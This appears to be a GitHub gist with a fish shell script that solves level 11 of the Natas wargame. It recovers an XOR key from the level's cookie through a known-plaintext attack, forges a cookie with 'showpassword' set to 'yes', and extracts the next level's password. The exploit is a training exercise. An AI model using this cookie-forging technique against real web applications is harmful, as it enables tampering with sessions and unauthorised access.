Created
April 9, 2017 20:34
-
-
Save Cxarli/99d42eb48a1213ca7850c2e3a7d7e27d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/fish | |
set cookie (nget -l 11 -- -S 2>&1 | grep Set-Cookie | sed -E 's/.+data=([a-zA-Z0-9%]+).*/\1/g' | urldecode) | |
echo "Cookie: $cookie" >&2 | |
set file (mktemp "XXXXXXXX.php") | |
set tmp_file (mktemp "XXXXXXXX.php") | |
# Getting key | |
# Abusing XOR: | |
# A xor B = C 0110 xor 1100 = 1010 | |
# A = B xor C 0110 = 1100 xor 1010 | |
echo '<?php' > $file | |
echo '$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");' >> $file | |
echo 'function xor_encrypt($key, $in) {' >> $file | |
echo ' $text = $in;' >> $file | |
echo ' $outText = "";' >> $file | |
echo '' >> $file | |
echo ' // Iterate through each character' >> $file | |
echo ' for($i=0;$i<strlen($text);$i++) {' >> $file | |
echo ' $outText .= $text[$i] ^ $key[$i % strlen($key)];' >> $file | |
echo ' }' >> $file | |
echo '' >> $file | |
echo ' return $outText;' >> $file | |
echo '}' >> $file | |
echo 'function saveData($d) {' >> $file | |
echo ' setcookie("data", base64_encode(xor_encrypt(json_encode($d))));' >> $file | |
echo '}' >> $file | |
echo '<?php require "'"$file"'"; echo xor_encrypt(base64_decode("'"$cookie"'"), json_encode($defaultdata));' > $tmp_file | |
set key (php $tmp_file) | |
# Remove repetition in key | |
for len in (seq 1 10) | |
set a (string sub -l $len $key) | |
set b (string sub -s (math $len + 1) -l $len $key) | |
if [ "$a" = "$b" ] | |
set key (string sub -l $len $key) | |
break | |
end | |
end | |
echo "Key: $key" >&2 | |
echo '<?php require "'"$file"'"; echo base64_encode(xor_encrypt("'"$key"'", json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"))));' > $tmp_file | |
set payload (php $tmp_file) | |
echo "Payload: $payload" >&2 | |
set level (nget -l 11 -- --header "Cookie: data=$payload") | |
set password (echo "$level" | grep "The password for natas12 is " | sed -E 's/.+natas12 is ([a-zA-Z0-9]+).+/\1/g') | |
echo "$password" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment